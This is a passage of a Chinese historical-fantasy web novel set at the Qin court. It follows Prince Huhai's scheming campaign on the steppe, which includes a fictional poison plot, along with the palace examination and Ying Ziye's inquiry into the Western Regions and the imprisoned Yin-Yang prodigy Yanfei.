“若得天兵相助,击溃白狼部落那群恶豺,我狼族上下,愿永世奉大秦为父汗宗主国!”
“岁岁纳贡,绝不食言!”
“若有违背,便叫我部族永世受风沙吞噬,血脉断绝!”
这突如其来的变故,让方才还一片和乐的朝堂瞬间鸦雀无声。
歌舞升平被赤裸裸的草原血腥厮杀所取代。
群臣面面相觑,一时不知如何应对。
李斯微微蹙眉,冯去疾捋须沉吟,蒙恬等武将则目光锐利地审视着跪地的狼族使臣。
珠帘后的始皇帝并未立刻回应,那股无形的压力却陡然加重,仿佛在权衡着这突如其来的请求。
就在这片寂静之中,一个身影动了。
十八公子胡亥,快步出列,走到狼族使臣身旁,对着御阶深深一揖。
声音清朗,充满了恰到好处的愤慨与“赤诚”。
“父皇!儿臣聆此噩耗,亦是心如刀绞!”
“狼族部众如今亦是我大秦附属,岂容他人肆意屠戮?!”
“此等**,分明是藐视我大秦天威!”
他语气激昂,随即话锋一转,脸上露出一种混合着羡慕,渴望与“赤子之心”的神情。
“儿臣平日见长兄镇守南疆,劳苦功高!”
“又见六哥主持科举,为父皇分忧,开创盛世……”
“儿臣身为父皇之子,大秦公子,却寸功未立,每每思之,深感惭愧,夜不能寐!”
他猛地抬起头,目光灼灼地望向珠帘之后,声音带着一丝颤抖,仿佛是鼓足了莫大的勇气。
“今日,狼族兄弟蒙难,正需援助!”
“儿臣不才,虽无长兄之武略,六哥之文韬,却也有一颗愿为父皇排忧解难,护卫大秦疆土的忠心!”
“儿臣恳请父皇!给儿臣这个机会!”
“允儿臣领兵出征,扬我大秦军威,必破那白狼部,以安狼族,以震边陲!”
“儿臣定不负父皇期望,凯旋而归!”
这一番话,情真意切,又巧妙地抬高了扶苏和赢子夜。
将自己置于一个渴望立功,为父分忧的孝子贤弟位置上。
听得一些不明就里的朝臣微微颔首,甚至露出些许赞赏之色。
然而,位列百官之
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前的赢子夜,那双深邃的眼眸中却掠过一丝极淡的冷光。
胡亥这番表演,过于急切,过于完美了。
狼族遇袭。
时机如此巧合?
十八弟,何时对军功如此热衷?
又为何偏偏选中这与帝国关系微妙的草原?
他心中冷笑。
胡亥落子了。
而且是一步看似莽撞,实则必然经过精心算计的棋!
他按捺住立刻出言质疑的冲动,只是静立原地,面容平静无波。
仿佛真是一位欣慰看到弟弟“懂事”的兄长。
他要看看,胡亥这步棋,究竟埋着什么杀招。
而那珠帘之后的父皇,又会如何决断。
整个朝堂的目光,都聚焦在胡亥身上,又悄悄瞥向默不作声的赢子夜,最后屏息凝神,等待着帝王的最终决断。
空气凝固得如同暴风雨前的死寂。
良久,珠帘之后,传来嬴政平稳却不容置疑的声音,打破了这令人窒息的沉默。
“准奏。”
仅仅两个字,却重如千钧!
“胡亥。”
“儿臣在!”
胡亥强压住内心的狂喜,声音因激动而微微发颤。
“朕予你三万精骑,持朕节钺,北上助狼族平乱。”
“一应粮草军械,由太尉府即刻调拨。”
“蒙恬。”
嬴政的声音转向武将队列。
“臣在!”
蒙恬踏前一步。
“由你派人率本部精锐铁骑,协同胡亥出征,务必确保此战必胜,扬我国威,亦要确保十八公子周全。”
“臣遵旨!”
蒙恬沉声应道,眼神锐利地扫过胡亥。
“谢父皇!儿臣领旨!必不负父皇重托!”
胡亥重重叩首,抬起头时,脸上洋溢着难以抑制的兴奋和壮志踌躇!
只是那眼底深处,一丝计谋得逞的诡谲光芒一闪而逝。
赢子夜依旧沉默地看着,心中冷笑更甚。
派蒙恬的人协同?
父皇果然并非全然放心。
三万兵马,介入草原部落纷争……
胜,则胡亥携军功而归。
败……
或者,这其中根本还有别的图谋?
他微微垂下眼帘,将一切思绪掩盖在平静的面容之下。
第309章 草原的风,终究吹到了大秦!
退朝的钟声余韵未绝。
玄黑色的车驾已平稳驶离宫门。
车厢内。
赢子夜靠坐在软垫上,双眸微阖,指尖无意识地敲击着案几。
方才朝堂上胡亥那番情真意切的表演和狼族使臣恰到好处的悲怆,在他脑中反复掠过。
太巧了。
巧得像是精心编排的戏剧。
胡亥何时对军功如此热衷?
狼族遭袭,求救的时机又与科举放榜,殿试未启的关键时刻如此吻合?
他那十八弟,绝不是一个会主动请缨去苦寒边陲吃苦受累的人。
这其中若无蹊跷,他赢子夜的名字倒过来写。
敲击的指尖倏然停住!
他睁开眼,眸中一片冰封般的冷澈。
无需掀起车帘,只沉声唤道:“赵弋苍。”
声音不高,却清晰地穿透车壁。
几乎是立刻,车窗外传来低沉而警惕的回应:“卑职在。”
“方才殿上之事,你都听到了。”
赢子夜的声音没有丝毫波澜,却带着一种不容置疑的穿透力。
“胡亥北上,狼族求援…本公子觉得,这草原的风,刮得有些不对劲。”
车窗外,赵弋苍的气息似乎凝滞了一瞬,随即更加沉肃:“主上明察,卑职亦觉此事突兀。”
“北疆之地,狼族与那白狼部族恩怨已久,但此时爆发,恰逢我大科举初定,未免太过‘巧合’。”
赢子夜语气渐冷。
“胡亥主动跳进去,要么是蠢,要么…就是另有所图。”
“本公子从不觉得他蠢。”
“主上之意是?”
“你亲自挑选暗河中最精于潜行、侦查的好手,立刻动身,潜入北疆草原。”
赢子夜的指令清晰而冰冷。
“第一,给本公子查清楚,狼族与白狼部族这一战,究竟是怎么回事!”
“是确有其事,还是有人在做戏?”
“若是做戏,做给谁看?目的是什么?”
“我要知道每一个细节!”
“第二。”
他顿了顿,声音压得更低,却更具分量。
“借此机会,给本公子摸清草原各部的底细!”
“他们的部落分布,兵力虚实,草场水源,首领性情,内部矛盾,乃至与周边其他势力的关系……”
“所有情报,事无巨细,给本公子尽可能多地带回来!”
“知己知彼,百战不殆。”
“草原,不能永远是一片我们看不清的迷雾。”
“既然风起了,那就不妨让这风吹得更透些。”
赵弋苍在车外重重吸了一口气,声音带着凛然杀意与绝对服从:“诺!卑职即刻挑选人手,亲自带队北上!”
“定将草原之事,查个水落石出!”
“所有情报,必源源不断送回主上手中!”
“去吧。”
赢子夜淡淡吩咐了一句,重新阖上眼帘。
“记住,我要的是真相,是眼睛和耳朵。”
“非必要,勿动手,隐匿为先。”
“卑职明白!”
车窗外,马蹄声轻微一顿,随即一道阴影如同融入水流般悄然脱离车队,迅速消失在咸阳繁华的街巷之中。
车厢内,赢子夜指尖再次轻轻敲击起来,节奏平稳,却带着一种洞悉一切后的冰冷算计。
胡亥,你想借草原之风搅局?
那便看看,到底是谁,能真正握住这风的方向。
……
十八公子府邸深处。
密室之内,烛火摇曳。
将胡亥脸上那抹毫不掩饰的得意与贪婪映照得明明灭灭。
狼族使臣,那位名为挛鞮的魁梧汉子,正抚胸躬身,粗犷的脸上堆满了谄媚而凶悍的笑容。
“恭喜殿下!贺喜殿下!”
挛鞮的声音低沉沙哑,带着草原特有的腥膻气。
“执掌三万大秦铁骑,节钺在手,此番北上,殿下便是苍鹰展翅,再非困于巢中之雏!”
“我狼族上下,必唯殿下马首是瞻!”
胡亥闻言,发出一声短促而冰冷的嗤笑,他摩挲着手指上一枚玉戒,眼神锐利如刀。
“兵权?呵,不过是个开始罢了。”
“有了这三万人马,本公子才算稍稍有了一点…能自己说话的底气。”
“总好过终日在这咸阳城里,看我那好父皇的脸色,看我那好六哥春风得意!”
他语气中的怨毒几乎要滴落下来,但随即,眉头又皱起,闪过一丝阴鸷!
“不过…蒙恬那个东西,还有他那个手底下那帮人!”
“父皇派他们跟着,分明就是信不过本公子,是栓在本公子脖子上的两条链子!真是碍事!”
挛鞮眼中凶光一闪,上前一步,压低声音,如同野兽嘶鸣!
“殿下放心!草原之上,意外丛生……”
“刀箭无眼,风寒疫病,更是寻常。”
“我狼族秘制有一种‘狼毒’,无色无味,混入饮食或附着箭簇,一旦入体,初时如寻常风寒,继而五脏衰竭,药石无灵,便是神仙也难救!”
“绝对查不出半点痕迹……”
“届时,只需一点点‘意外’,便可为殿下扫清这绊脚石!”
胡亥眼睛猛地一亮,如同嗅到血腥味的豺狼,但随即又强行压下,恢复那副阴冷算计的模样。
他缓缓踱步,指尖敲击着桌面:“蒙恬…固然要除,但不能急。”
“我那六哥,心眼比狐狸还多,鼻子比狗还灵!”
“他此刻定然已在怀疑本公子此番请战的动机,若北疆将领接连暴毙,他第一个便会疑到本公子头上!”
他猛地停下脚步,看向挛鞮,脸上露出一丝残忍而狡诈的笑容:
“既然要演戏,那就把戏做足!”
“做给咸阳看,做给我那父皇和六哥看!”
“你们狼族,不是一直垂涎白狼部族的草场和人口吗?”
挛鞮立刻点头,眼中放出贪婪的光:“没错!若能吞并白狼部,我狼族实力必将大涨!”
“好!”
胡亥一拍手。
“本公子就帮你这个忙!”
“这三万大军,明面上是去助你狼族‘抵御外侮’,实则,便是你狼族手中最锋利的刀!”
“本公子会‘全力’助你,不仅要击溃白狼部,更要趁机将他们连根拔起,吞并他们的地盘!”
“甚至……”
他凑近挛鞮,声音压得极低,充满了诱惑与阴谋:
“还可以借此机会,以追击残敌,清剿不安份子为名,顺势将周边几个摇摆不定的小部落也一并收拾了!”
“替你狼族,也替本公子,好好扩大一下在草原上的势力和影响!”
“如此一来,战功是实打实的,谁还能说本公子此行有假?”
挛鞮闻言,呼吸顿时粗重起来!
脸上横肉因激动而抖动。
他再次深深躬身,几乎将头抵到地上,声音带着难以抑制的兴奋和敬畏。
“殿下深谋远虑!此计大妙!一石数鸟!”
“如此一来,殿下得了军功实权,我狼族得了土地人口,更能借此与殿下牢牢绑在一起!”
“多谢
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殿下成全!狼神必将庇佑殿下!”
胡亥满意地笑了,笑容阴冷而畅快。
仿佛已经看到自己手握重兵,携开疆拓土之功凯旋而归,将赢子夜乃至扶苏都踩在脚下的场景。
“去吧。”
他挥挥手,重新坐回椅中,姿态慵懒却带着毒蛇般的危险。
“好好准备,这场大戏,才刚刚拉开帷幕。”
“别忘了…那‘狼毒’,也给本公子备好。”
“何时用,怎么用,本公子自有分寸。”
“是!挛鞮明白!定不负殿下所望!”
狼族使臣重重应诺,眼中闪烁着野狼般的凶光,悄无声息地退出了密室。
……
数日后。
咸阳城头。
猎猎秋风卷动着玄黑旌旗,也拂动着赢子夜玄色的衣袂。
他凭墙而立,如同一尊沉默的雕像,深邃的目光越过巍峨的城郭,投向北方那片广袤而未知的天地。
地平线上,烟尘渐起,那是大军开拔的痕迹!
三万大秦锐士,连同那些披发左衽,眼神凶悍的狼族骑兵。
正如同一条黑色的巨**,蠕动着融入秋日苍黄的原野。
队伍的最前方,那面代表着十八公子胡亥的旗帜,在风中肆意招展。
带着一种突兀的,令人不安的张扬。
赢子夜的视线冰冷地掠过那面旗帜。
胡亥……
他那十八弟,此刻怕是正志得意满,沉浸在执掌兵权的虚幻快意之中吧?
还有那狼族使臣挛鞮,离去前那看似恭顺实则暗藏狡黠的一瞥,如同毒蛇的信子,令人作呕。
而他派出的暗河,却如同无声的溪流,早已先一步渗入草原。
赵弋苍办事,他放心。
但不知为何,一种极其细微却挥之不去的不安,如同蛛丝般缠绕在他心头。
胡亥此举,绝不仅仅是为了军功那么简单。
这刻意扩大的征伐…
这背后交织的阴谋。
远比表面看起来更加深邃黑暗。
北疆的风,注定要染上血色。
只是不知,这血,最终会染红谁的野心,又是为谁做了嫁衣?
他负手而立,指尖在冰冷的墙砖上无意识地划过。
草原的棋局已经布下,暗子已落。
现在,他需要的是耐心,是等待暗河从那片风沙中传回最关键的信息。
就在这时。
“咚——!”
一声沉重、悠远、仿佛能涤荡心灵的钟鸣,自咸阳宫深处骤然响起,穿透云霄,回荡在整座帝都的上空!
紧接着。
第二声,第三声……
钟声庄严肃穆,带着一种不容置疑的威严与召唤。
城下街巷之中,原本因大军离去而议论纷纷的百姓,瞬间安静下来,纷纷驻足,仰头望向宫城方向,脸上露出敬畏与向往交织的神情。
赢子夜蓦然从遥远的北方思绪中被拉回。
殿试!
钟声如同洪流,冲散了他眉宇间凝结的深思。
帝国的未来,人才的根基,此刻并不在那片杀机四伏的草原,而就在他身后的这座宫殿之中!
他眼中瞬间恢复清明,所有的算计、疑虑、不安都被强行压下。
取而代之的,是一种沉甸甸的责任感和掌控一切的冷静。
草原的棋要下,但这咸阳宫内的棋,更是重中之重。
一步,都错不得!
他最后望了一眼北方那已然消散的烟尘,眼神锐利如初。
转身,玄衣下摆划出一道决绝的弧线。
“回宫。”
第310章 今日,以天下为题!
沉重的殿门缓缓闭合。
将外界的光线与喧嚣彻底隔绝。
麒麟殿内,恢弘与肃穆如同实质般压了下来。
高耸的穹顶绘着日月星辰,冰冷的黑曜石地面映照着摇曳的烛火与殿外透入的微光。
两侧,文武百官垂手肃立,目光如炬,沉默地注视着殿中央那一片区域。
新科进士们,这一百三十七名幸运儿,身着崭新的青色襕衫,按照名次鱼贯而入。
他们中的绝大多数,此生从未踏入过如此庄严神圣之地。
那扑面而来的皇家威仪,那无处不在的深沉历史厚重感,以及百官审视的目光,让这些方才还在放榜时狂喜的年轻人们,瞬间屏住了呼吸。
连脚步都放得极轻极缓,生怕一丝声响都会亵渎了这片圣土。
他们被内侍引导至早已备好的矮案前坐下。
案上,笔墨纸砚俱全。
每一件都精致非凡,透着皇家的气度。
许多人手心冒汗,心跳如鼓,偷偷抬眼向上望去。
御阶之上,珠帘低垂。
其后那道模糊却威压天下的身影,便是统御四海,横扫六合的始皇帝!!!
仅仅是感受到那目光可能的存在。
便已让人双腿发软,心生无限敬畏。
赢子夜位列百官之前,玄衣玉冠,面容平静无波。
唯有那双深邃的眼眸,如同静默的深潭,缓缓扫过下方每一个士子。
他在观察,观察这些帝国未来的栋梁。
在如此重压之下,是惶然无措,还是能稳守心神。
一片极致的寂静中。
只有烛火偶尔爆开的轻微噼啪声。
以及某些士子因紧张而难以抑制的粗重呼吸。
终于,珠帘之后,传来嬴政那平稳、低沉、却蕴含着无上威严,足以让整个大殿都为之震颤的声音。
每一个字都如同刻印在众人心头:
“今日殿试,朕,只出一题!”
他略作停顿,让那沉重的压力充分弥漫。
“天下。”
仅仅两个字,却重逾千钧!
包罗万象,又空洞无物!
可以宏大到治国平天下的方略,也可以细微到一村一地的治理!
可以谈武力征伐,也可以论仁义教化!
全凭个人见识、胸襟、魄力!
“或为策论,或为见解,朕,拭目以待。”
“时限,两个时辰。”
话音落下,再无多余一字。
内侍高声唱喏:“陛下降旨——殿试开始!”
刹那间。
整个大殿陷入一种更加奇特的寂静之中!
只听得见一片急促压抑的吸气声,以及猛地铺开竹简或纸张的窸窣声!
士子们的脸色瞬间变得无比精彩。
有人面露狂喜,觉得此题正合己意,可尽情挥洒。
有人眉头紧锁,陷入深深的沉思,试图抓住那缥缈的“天下”真意。
更有人脸色煞白,额头瞬间布满冷汗,只觉得脑海中一片空白。
“天下”二字如同山岳般压下来,竟不知从何落笔!
短暂的停滞之后,几乎是同时,大多数人猛地抓起了笔!
蘸墨的急促声响成一片!
有人下笔如有神,笔走龙蛇,字迹狂放!
仿佛胸中早有沟壑,要将满腔抱负尽数倾泻于竹简之上!
有人则谨慎万分,落笔前反复斟酌,每一个字都力透纸背,力求稳妥周全。
生怕一字之差,便断送了前程。
更有人手抖得厉害,第一笔便落下了一个墨团,慌忙擦拭,却越擦越脏,急得几乎要哭出来,又强自忍住。
深吸一口气,重新落笔,笔尖却依旧颤抖。
殿内只剩下笔尖划过简牍的沙沙声,如同春蚕食叶,又如同沙场点兵,紧张而密集。
空气仿佛凝固了。
弥漫着墨香、汗味,以及一种近乎惨烈,思想激烈碰撞的无形硝烟。
决定命运的答卷,已然开始。
……
两个时辰。
在极致的寂静与无形的硝烟中流逝。
内侍高唱:“时辰到——止笔!”
许多士子几乎是虚脱般地松开了笔,才发现后背的衣衫早已被冷汗浸透。
试卷被内侍们恭敬地收走,呈递至御阶之下。
珠帘微动,始皇帝嬴政并未立刻翻阅,而是沉声道:“李斯、冯去疾、萧何……尔等近前,同朕一并观之。”
被点名的几位重臣立刻出列,躬身应是。
小心翼翼地走上前,分列御案两侧。
内**厚厚的试卷分成数摞,分别放在皇帝和几位大臣面前。
这一刻,殿内所有人的心都提到了嗓子眼。
百官屏息,士子们更是紧张得几乎能听到自己心脏撞击胸腔的声音。
他们的命运,他们寒窗苦读数十载的成果,此刻就掌握在那寥寥数人手中。
嬴政率先拿起一份试卷,目光沉静地扫过。
他看得不快,但每一个细微的表情变化,无论是微微蹙眉,还是几不可察地颔首——
都牵动着下方无数道神经。
李斯等人亦是神色凝重,一份份仔细翻阅。
大殿内一时间只剩下纸张翻动的轻微沙沙声。
偶尔,两位大臣会因某份试卷而微微侧身,以极低的声音交换一两句意见。
“此子策论,倒是尖锐,直指分封之弊,力主郡县强化,虽略显稚嫩,却颇有见地……”
李斯指尖点着一份试卷,对身旁的冯去疾低语。
冯去疾微微颔首,捋须道:“然其言辞过于激烈,恐失之偏颇。”
“你看这份,论及民生休养,条陈清晰,务实稳重,虽无惊人之语,却更显老成。”
另一边,萧何则对一份字迹娟秀,引经据典的试卷频频点头:“此文采斐然,对教化之道见解独到,是个做学问的好苗子。”
低语声断断续续,如同暗流在肃静的大殿之下涌动。
每一位被讨论到的士子,虽然听不清具体内容,却能感受到那审视的目光曾在自己试卷上停留。
无不手心冒汗,心中七上八下。
时间一点点过去,试卷被分成不同的等次。
最终。
李斯等人从中挑出了三份,恭敬地呈送到始皇面前。
“陛下,臣等以为,此三篇文章,或格局宏大,或见解深刻,或务实可行,堪称此科佼佼者,可入万世书院,悉心栽培。”
嬴政接过,一份份仔细看过。
良久,缓缓颔首:“准。”
仅仅一个字,便决定了三人一步登天,成为天子门生,未来不可限量!
下方士子中。
有三人瞬间激动得浑身颤抖,强行压抑才没有失态,但眼中的狂喜与荣耀却如何也掩不住。
嬴政的目光扫过剩下的试卷,再次开口,声音如同洪钟,传遍大殿。
“其余人等,朕亦观
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尔等之才,察尔等之志。”
“帝国正值用人之际,四海初定,百废待兴。”
他随手指向那堆试卷:“依才具,分派官职。”
“或为一地县丞、县令,牧民一方!”
“或入各府衙为吏,协理政务。”
“或入博士宫、藏书阁,为编修撰史之职……”
随着他沉稳的声音,一名内侍官开始高声唱喏名字及授予的官职。
每一个名字被念出,都伴随着一道如释重负又充满期待的喘息。
“王粲,授河东郡安邑县丞!”
“臣……谢陛下隆恩!”
一名士子扑通跪下,声音哽咽。
“李瞻,授少府属官,秩比三百石!”
“谢陛下!”
“张瑜,入博士宫,为待诏编修!”
“谢陛下!”
有人得知被派往偏远之地,脸上稍显失落,但很快被授予官职的喜悦所取代。
有人得以留在咸阳或富庶郡县,则喜形于色!
那些被授予清贵文职的,亦是满面红光。
整个麒麟殿,此刻如同一个巨大的熔炉,淬炼出了未来帝国的筋骨!!
空气中弥漫着梦想初步实现的激动,对未来的憧憬,以及一丝对皇恩浩荡的敬畏。
……
章台宫深处。
烛火通明,却静得能听到灯花爆开的细微噼啪声。
科举的喧嚣已然散去。
此刻,唯有父子二人相对。
嬴政目光深邃而冷峻,缓缓开口。
“科举之事,算是接近尾声。”
“此番所取之士,多有才望,足为帝国所用。”
“虽未能尽善尽美,却也可谓开创盛举。”
他顿了顿,语气略显凝重,却依旧带着不容置疑的威严。
“书院之事,你也着手尽快去办。”
“此乃万世根基,须谨慎,不可有失!”
赢子夜闻言,立刻躬身领命。
“儿臣遵旨。”
“万世书院招贤纳士之事,儿臣会即刻着手,定不负父皇所托,使其成为帝国育才之基石。”
御案之后。
嬴政微微颔首,目光却并未收回,依旧穿透轩窗,投向遥远而未知的西方天际。
他那张威严的脸上,罕见地凝着一丝深沉如渊的思虑,手指无意识地摩挲着一卷古老的羊皮地图的边缘。
殿内陷入一片沉默。
唯有始皇身上那无形散发,沉重如山的威压弥漫开来。
赢子夜静立片刻,敏锐地察觉到父皇心绪不宁,遂缓声开口:“父皇…似乎另有心事?”
嬴政的目光缓缓收回,落在赢子夜身上。
那深邃的眼眸如同蕴藏着星海漩涡!
他并未直接回答,而是沉声道:“科举选才,充实内政,乃固本之策。”
“然帝国之患,从来不止于内。”
“北疆之地,狼族虽跳梁,匈奴暂敛,然疥癣之疾,尚可图之。”
“朕所思者,在更西之处!”
他的手指重重地点在地图上方那片标注模糊,山川走向奇异的广袤区域:“西域!”
这两个字从他口中吐出,带着一种沉重的分量和一丝不易察觉的渴望!
“此番北疆诸部使臣入秦,看似臣服,实则各怀鬼胎,朕岂能不知?”
“然相较之下,西域三十六国…其地错综复杂,其民诡谲难测,其势盘根错节,其潜在之患,丝毫不亚于北疆胡虏!”
第311章 阴阳家真正的天才,东君焱妃!
赢子夜目光骤然一凝!
心神瞬间被拉向那片充满传奇与迷雾的土地。
他沉吟片刻,谨慎开口:“儿臣对西域所知亦有限,仅知些许皮**。”
“闻听其间小国林立,星罗棋布于大漠绿洲之间,却扼守东西往来之咽喉要道,地理位置至关重要。”
“其中如大月氏,势力颇强,与匈奴之地接壤,时战时和,关系微妙。”
“更奇诡者,各国之中,巫祝之流地位尊崇,常能左右国政。”
“虽内部征伐不断,宛如一盘散沙,然对外来势力,尤其是中原之人,却极为排斥警惕,铁板一块,难以渗透。”
嬴政静静听着,眼中闪过一丝赞许。
显然对赢子夜的了解表示认可。
他缓缓颔首,声音如同闷雷滚过天际:“你所言不差。”
“然正因如此,西域,绝不能成为帝国视野之外的盲域!”
“秦,若想真正俯瞰天下,掌控寰宇命运,而非偏安一隅,这通往更广阔大地的西路,必须打通!”
“三十六国,必须臣服,或……湮灭!”
这斩钉截铁的话语中,蕴含着无与伦比的野心与帝王意志,令赢子夜心神为之震动!!
他立刻躬身,声音斩钉截铁:“儿臣明白!”
“帝国之疆,岂能止步于河西?”
“儿臣即刻加派人手,命暗河精锐西出阳关,不惜一切代价,深入西域,搜集各国山川地理,**,人物风情,内部矛盾等一切情报!”
“定要为父皇,为帝国,绘出一幅详尽的西域舆图!”
“准。”
嬴政颔首,对赢子夜的决断表示满意。
他略作沉吟,仿佛在回忆某些尘封的秘辛,声音变得愈发幽深!
“西域排斥中原,其来有之。”
“据黑冰台零星搜集到的极古老卷宗提及,非仅因路途遥远,文化迥异……”
“更因在那片土地之下,掩藏着远比世人想象更为古老的秘密。”
赢子夜瞳孔微缩:“古老的秘密?”
“不错。”
嬴政的目光再次投向西方,仿佛能穿透无尽沙海!
“古籍隐晦记载,西域之地,曾存在过极度辉煌之文明,其遗迹古迹,或许……”
“可追溯至中原三皇五帝甚至更为渺茫之远古时代!”
“其中所藏,非金玉珠宝所能衡量,或涉及天地本源之力,乃至…长生之秘!”
这番话语,石破天惊!
饶是赢子夜心性沉稳,也不禁呼吸一窒!
堪比三皇五帝时代的遗迹?
天地本源之力?
长生之秘?
这些词汇任何一个,都足以掀起惊涛骇浪!
嬴政的声音却带着一丝冷冽的警示:“然,福兮祸之所伏。”
“黑冰台耗费巨大代价所得之情报,十之**指向的并非宝藏,而是大凶绝险之地!”
“探索者往往有去无回,偶有幸存者带回的,亦是支离破碎,令人毛骨悚然的恐怖传说。”
“真正有价值的发现,少之又少。”
“或许,那重重迷雾与排斥,本身便是一种保护,或者说…诅咒。”
然而,赢子夜眼中却骤然爆发出炽热的光芒!
凶险?
诅咒?
这些词汇非但未能吓退他。
反而如同最烈的火油,浇灌在他那颗本就充满探索与掌控欲的心上!
若西域古迹真涉及天地本源乃至长生之秘。
那与父皇而言,无疑是无法抗拒的诱惑!
他的声音因压抑的兴奋而略显低沉:“纵是龙潭虎穴,亦值得一探!儿臣对此,兴趣极大!”
嬴政深深看了他一眼,对自己这个儿子眼中燃起的火焰似乎并不意外。
他缓缓道:“蜃楼之上,阴阳家多年经营,对其间秘闻轶事,古老传说,搜集颇多。”
“关于西域部分,虽亦残缺,或比黑冰台所知更为详尽诡异。”
“你既感兴趣,可自行前往蜃楼,寻东皇太一,查阅相关记载。”
“或许……能有所得。”
“儿臣领旨!”
赢子夜重重拱手,心中已然掀起滔天巨浪。
科举之事方才落定,西域之谜又轰然展开!
一条充满未知,危险与无限可能的西路,似乎正伴随着父皇的话语,在他面前缓缓铺开。
“去吧。”
嬴政挥了挥手,重新将目光投向那卷古老的地图。
他的身影在烛光下显得无比伟岸而孤独,仿佛已在谋划着如何将帝国的黑龙旗,插遍那遥远而神秘的沙海古国。
赢子夜躬身退出章台宫,步伐沉稳,内心却已如弓弦般绷紧!
他抬起头,望向那座悬浮于渭水港口,神秘莫测的巨型楼船——
蜃楼。
眼中闪烁着锐利如鹰隼的光芒。
东皇太一……
西域古迹……
看来,是时候再会一会那位阴阳家的首领了。
……
蜃楼深处。
那间可窥星空的秘殿内。
幽蓝的星光流转,将一切都蒙上了一层不真实的色彩。
赢子夜玄衣玉冠,静立其中,与对面那笼罩在宽大黑袍与诡异面具下的东皇太一相对无言。
他没有多余的寒暄。
直接袖袍一拂,数个材质非凡的玉盒与锦囊,便无声无息地出现在一旁的玉台上。
盒盖开启的瞬间!
精纯无比的灵气瞬间弥漫开来。
其中一盒更是闪烁着如同凝结星辉与地火般的瑰丽光芒。
“八十枚上品灵石,九枚火雨玛瑙。”
赢子夜的声音平静无波,仿佛拿出的只是寻常石头。
“东皇阁下查验一下,可还符合泰山仪式所需?”
东皇太一那掩藏在面具下的目光似乎微微一闪。
他并未上前,只是那宽大袖袍中的手指似乎极其轻微地拨动一番,一股无形的力量便扫过那些珍宝。
片刻后。
那低沉缥缈,非人般的声音缓缓响起:“殿下信人,数量、品质,分毫不差。”
“有此物相助,仪式成功率可增两成。”
“如此便好。”
赢子夜淡淡颔首,仿佛只是完成了一桩微不足道的交易。
“本公子欲查阅阴阳家所藏,关于西域三十六国之记载。”
“可。”
东皇太一并未拒绝,似乎早已料到。
他微微抬手,指向殿内一侧,那里有一排非金非木,刻满玄奥符文的架子。
其上悬浮着数卷散发着古老气息的玉简与兽皮卷。
“相关记载皆在于此,殿下请自便,月神,你从旁协助。”
一直静立阴影处,身着浅蓝长裙,眼蒙薄纱的月神微微躬身:“谨遵东皇阁下之命。”
她袅娜上前,无声地侍立一旁。
赢子夜走到书架前,神识微动,那些玉简便自行飞落在他手中。
他沉浸其中,快速翻阅。
内容确实如始皇所言,比黑冰
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台所获更为详尽诡异。
其上不仅标注了大部分西域国家的名称,大致方位,风土人情,还零散记录着一些闻名于诸国的强者信息。
精于控沙的楼兰祭司!
力大无穷的乌孙勇士!
神出鬼没的且末**!
记载虽不完整,却已勾勒出一幅远比中原武林更为奇诡莫测的力量图景。
更引人注意的是,一些卷宗的边角处,有着阴阳家特有的批注,字迹古老。
“此国巫祝,疑似掌握上古残阵,威力莫测,慎之。”
“大月氏王庭有古老力量守护,非人力可破,或与‘彼地’有关。”
“精绝…虚无不存之国度,然黑卷提及其名,疑与虚空古遗迹有联……”
尤其让赢子夜目光微凝的,是一段关于各国隐藏力量的推测性记载。
“……上述皆明面之强者,然西域水深,各国王室、秘教之中,必有隐藏之古老传承者,其实力手段,诡谲难测,远超记载。”
“因其传承皆源自不可考之远古,或涉禁忌,轻易不显于世,然一旦触动,必遭雷霆之噬……”
这些文字,仿佛带着某种冰冷的诅咒,令人心生寒意。
赢子夜快速记忆着一切,心中对西域的警惕与兴趣同时攀升至顶点。
不知过了多久。
他放下最后一卷兽皮,眼中幽光一闪而逝。
情报虽仍残缺,但已足够有价值。
“有劳东皇阁下。”
他转身,对东皇太一微微颔首。
东皇太一沉默以对,只是那面具似乎微微动了一下。
赢子夜不再多言,在月神的陪同下,转身向殿外走去。
月神步履轻盈,无声地跟在半步之后,姿态恭敬却疏离。
就在两人即将踏出这间星空秘殿的刹那——
“轰!!!”
整个蜃楼猛地剧烈一震。
仿佛有一头太古巨兽在船体最深处狠狠撞击了一下。
脚下的地面倾斜,四周悬浮的星光一阵乱颤,墙壁上符文闪烁明灭。
一股狂暴、愤怒、却又被强行压抑着的恐怖能量波动,如同潮水般从蜃楼某个极其幽深的方向猛地扩散开来!
虽一闪即逝,却让人心惊肉跳!
赢子夜的脚步瞬间顿住。
周身气息一凝,目光锐利如电,猛地射向震动传来的方向。
那是蜃楼更下层,更核心,也是守卫更为森严的区域。
“何事?”
他的声音带着一丝冷冽的质问。
身旁的月神,在那震动传来的瞬间,身体几不可察地僵硬了一下。
蒙着薄纱的脸庞微微转向那个方向,沉默了片刻,才用她那空灵缥缈,却听不出丝毫情绪的声音缓缓道:
“让殿下受惊了。”
“无甚大事,不过是…一个不听话的囚徒,偶尔的发泄罢了。”
“囚徒?”
赢子夜目光微闪。
“何等囚徒,能有如此力量?”
刚才那股波动,虽然短暂,但其蕴含的质与量,绝对远超寻常宗师高手。
月神轻轻吸了一口气,语气中似乎带上了一丝极其复杂的意味。
似是惋惜,又似是忌惮,更有一丝冰冷的嘲讽。
“她…是阴阳家千百年来,最为惊艳,也最为悖逆的存在。”
“天赋之高,甚至曾被认为…有望超越东皇首领。”
她的声音顿了顿,仿佛那个名字都带着某种重量。
“东君,焱妃。”
第312章 万世书院考核,开启!!!
赢子夜眼中闪过一丝了然。
焱妃,燕太子丹之妻,高月之母,阴阳家的叛徒……
这些信息在他脑中闪过。
他确实知晓此人,却没想到阴阳家并未将其处死,而是囚禁于此。
“原来是她。”
赢子夜语气平淡。
“对于叛徒,阴阳家倒是……惜才。”
他这话说得意味深长。
月神的面纱微微晃动,似乎笑了笑,那笑容却冰冷无比。
“天才总是有任性的资本,不是吗?”
“或许东皇首领,仍期待着她有回心转意的一天。”
“亦或者……”
她的话没有说完。
但那未尽的余音,却分明暗示着焱妃身上,或许还藏着某种不容毁灭的巨大秘密。
赢子夜不再多问。
只是最后深深看了一眼那震动传来的幽暗无底的通道方向。
东皇太一囚而不杀,绝不仅仅是惜才那么简单。
这蜃楼深处,隐藏的秘密,看来远比他想象的更多。
他收回目光,面无表情,继续向外走去。
月神紧随其后。
沉重的殿门在身后缓缓合拢,将那片星空与所有的秘密再次隔绝。
而在蜃楼最底层。
一处被无数符文锁链封印,暗无天日的禁室之中。
一双清冷、坚韧、却燃烧着不屈火焰的眼眸,在绝对的黑暗中缓缓睁开。
